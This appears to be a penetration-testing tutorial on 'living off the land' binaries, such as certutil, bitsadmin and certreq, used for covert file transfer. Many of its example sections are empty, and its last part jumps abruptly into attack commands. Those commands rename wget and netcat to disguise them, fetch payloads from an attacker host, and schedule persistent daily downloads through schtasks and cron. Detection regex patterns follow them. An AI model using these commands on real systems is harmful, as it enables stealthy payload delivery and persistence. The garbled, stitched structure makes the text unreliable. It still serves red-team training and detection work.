The phrase "Living off the land" was coined by Christopher Campbell (@obscuresec) & Matt Graeber (@mattifestation) at DerbyCon 3.
The term LOLBins (Living off the Land binaries) came from a Twitter discussion on what to call binaries that an attacker can use to perform actions beyond their original purpose. These are legitimate system binaries that can be abused for malicious purposes.
Key Resources:
LOLBAS Project - For Windows Binaries (https://lolbas-project.github.io/)
GTFOBins - For Linux Binaries (https://gtfobins.github.io/)
Living off the Land binaries can be used to perform functions such as:
Download - Retrieve files from remote sources
Upload - Send files to remote destinations
Command Execution - Execute arbitrary commands
File Read - Read sensitive files
File Write - Write files to disk
Bypasses - Bypass security controls
This section focuses on using LOLBAS and GTFOBins projects and provides examples for download and upload functions on Windows & Linux systems.
Windows Living off The Land Binaries (LOLBAS)
CertReq.exe
Description: Certificate Request utility that can be used to upload files via HTTP POST.
Upload Files:
Expected Output:
Netcat Session Output:
β οΈ Note: If you get an error when running certreq.exe, the version you are using may not contain the -Post parameter.
Bitsadmin
Description: Background Intelligent Transfer Service (BITS) can download files from HTTP sites and SMB shares.
Download File:
PowerShell BITS Transfer:
Advanced BITS Usage:
Certutil
Description: Certificate utility that can download arbitrary files. Found by Casey Smith (@subTee).
Download File:
Base64 Decode:
URL Cache Download:
β οΈ Note: The Antimalware Scan Interface (AMSI) currently detects this as malicious Certutil usage.
Expand.exe
Description: Built-in utility for extracting compressed files.
# Copy and rename binaries
cp /usr/bin/wget /tmp/systemupdate
/tmp/systemupdate http://10.10.10.32:8000/payload
# Rename executable to appear as document
copy nc.exe important_document.pdf.exe
# Use double extension
copy nc.exe report.txt.exe
# Windows - Use schtasks
schtasks /create /tn "System Update" /tr "certutil.exe -urlcache -split -f http://10.10.10.32:8000/update.exe" /sc daily /st 02:00
# Linux - Use cron
echo "0 2 * * * wget -q http://10.10.10.32:8000/update" | crontab -
# Certutil with URL
certutil.*-urlcache.*-split.*-f.*http
# Bitsadmin with transfer
bitsadmin.*transfer.*http
# PowerShell with download
powershell.*downloadstring.*http
# Quick binary availability check
which wget curl nc openssl base64 python perl ruby
# Windows binary check
where certutil bitsadmin powershell wmic